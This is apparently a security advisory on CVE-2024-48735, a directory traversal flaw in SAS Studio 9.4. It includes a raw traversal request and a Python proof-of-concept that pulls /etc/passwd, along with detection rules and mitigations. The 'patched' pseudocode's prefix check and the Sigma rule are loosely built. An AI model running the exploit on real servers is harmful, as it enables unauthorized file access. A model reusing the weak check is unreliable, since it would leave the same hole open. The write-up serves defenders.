CVE-2024-48735

Executive Summary

CVE-2024-48735 is a directory traversal vulnerability in SAS Studio 9.4, specifically within the /SASStudio/sasexec/sessions/{sessionID}/workspace/{InternalPath} endpoint. This flaw allows a remote attacker to access internal files by manipulating the default path during file download. The vulnerability is disputed by the vendor, who claims that these filesystem paths are allowed for authorized users. However, the potential for unauthorized access to sensitive internal files remains a significant concern. The CVSS score is 0.0, indicating no official severity rating, but the risk is elevated due to the lack of a patch and the potential for data exposure.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary software issue within SAS Studio 9.4.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, which is unusual and likely indicates that the vendor has not provided a vector or that the score is pending. Based on the description, a reasonable CVSS vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires an authenticated session
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): None (N)
• Availability (A): None (N)

Estimated CVSS Score: 6.5 (Medium)

Threat Level: Medium to High, due to the potential for unauthorized file access and the lack of a patch.

Deep Dive & Mechanics

The vulnerability exists in the file download functionality of SAS Studio 9.4. The endpoint /SASStudio/sasexec/sessions/{sessionID}/workspace/{InternalPath} is used to download files from the user's workspace. By manipulating the {InternalPath} parameter, an attacker can traverse directories and access files outside the intended workspace directory. For example, an attacker could use path traversal sequences like ../ to access system files such as /etc/passwd or configuration files.

The vendor disputes this, stating that only authorized users can access these paths. However, the issue is that an authorized user (or an attacker who has compromised a session) can access files beyond their intended scope, which violates the principle of least privilege.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely does not sanitize the {InternalPath} parameter properly. For example:

# Vulnerable Python-like pseudocode
def download_file(session_id, internal_path):
    base_path = f"/workspace/{session_id}/"
    full_path = os.path.join(base_path, internal_path)
    # No validation of path traversal
    return send_file(full_path)

Patched Code (Conceptual): A patched version would validate the path to ensure it stays within the allowed directory:

# Patched Python-like pseudocode
import os

def download_file(session_id, internal_path):
    base_path = f"/workspace/{session_id}/"
    full_path = os.path.normpath(os.path.join(base_path, internal_path))
    # Ensure the resolved path starts with the base path
    if not full_path.startswith(os.path.normpath(base_path)):
        raise PermissionError("Access denied")
    return send_file(full_path)

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A valid session ID ({sessionID}) for an authenticated user.
• Network access to the SAS Studio server.

Exploit Steps:

1. Obtain a valid session ID (e.g., via session hijacking or legitimate login).
2. Craft a request to download a file outside the workspace:

   GET /SASStudio/sasexec/sessions/{sessionID}/workspace/../../etc/passwd HTTP/1.1
   Host: target-sas-server.com
   Cookie: session={sessionID}
   

3. If successful, the server will return the contents of /etc/passwd.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target-sas-server.com"
session_id = "valid-session-id-here"
payload = "../../etc/passwd"

url = f"{target}/SASStudio/sasexec/sessions/{session_id}/workspace/{payload}"
response = requests.get(url, cookies={"session": session_id})

if response.status_code == 200:
    print("Exploit successful! File contents:")
    print(response.text)
else:
    print(f"Exploit failed. Status code: {response.status_code}")

Blue Team (Defender)

Detection Steps:

1. Monitor for unusual path traversal patterns in HTTP requests to /SASStudio/sasexec/sessions/*/workspace/.
2. Look for sequences like ../ or ..%2f in the {InternalPath} parameter.
3. Alert on any access to files outside the expected workspace directory (e.g., /etc/, /var/, /usr/).

Mitigation Steps:

1. Implement strict input validation on the {InternalPath} parameter.
2. Use a whitelist of allowed files or directories.
3. Apply the principle of least privilege for user sessions.
4. Monitor and log all file download requests for forensic analysis.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing ../ or ..%2f in the path /SASStudio/sasexec/sessions/*/workspace/.
  • Unusual file paths in the request, such as /etc/passwd, /var/log/, or /proc/.
• File System IOCs:
  • Unexpected access to system files (e.g., /etc/shadow, /etc/ssl/private/).
• Log IOCs:
  • Web server logs showing 200 responses for path traversal attempts.
  • Application logs showing access to files outside the workspace.

Detection Engineering

YARA Rule

rule CVE_2024_48735_SAS_Studio_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts in SAS Studio 9.4"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48735"
    strings:
        $path_traversal = /\.\.\/|\.\.%2f|%2e%2e%2f/i
        $sas_endpoint = "/SASStudio/sasexec/sessions/"
    condition:
        $sas_endpoint and $path_traversal
}

Sigma Rule

title: CVE-2024-48735 SAS Studio Directory Traversal Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects directory traversal attempts in SAS Studio 9.4
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "/SASStudio/sasexec/sessions/"
            - "../"
            - "..%2f"
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some configurations
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48735 SAS Studio Directory Traversal Attempt"; flow:to_server; content:"/SASStudio/sasexec/sessions/"; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file download functionality if not required, or restrict it to a whitelist of allowed files.
2. Implement input validation to reject any path containing ../ or ..%2f.
3. Apply the principle of least privilege to user sessions, ensuring they can only access their own workspace.

Long-term Fixes:

1. Vendor Patch: Await an official patch from SAS. In the meantime, consider using a Web Application Firewall (WAF) to block path traversal attempts.
2. Code Review: Review the file download code to ensure proper path normalization and validation.
3. Security Hardening: Run SAS Studio in a sandboxed environment with restricted file system access.

Workarounds:

• Use a reverse proxy (e.g., Nginx) to block requests containing ../ in the URI.
• Implement custom middleware to sanitize the {InternalPath} parameter.

Valters IT
Securing Digital Frontiers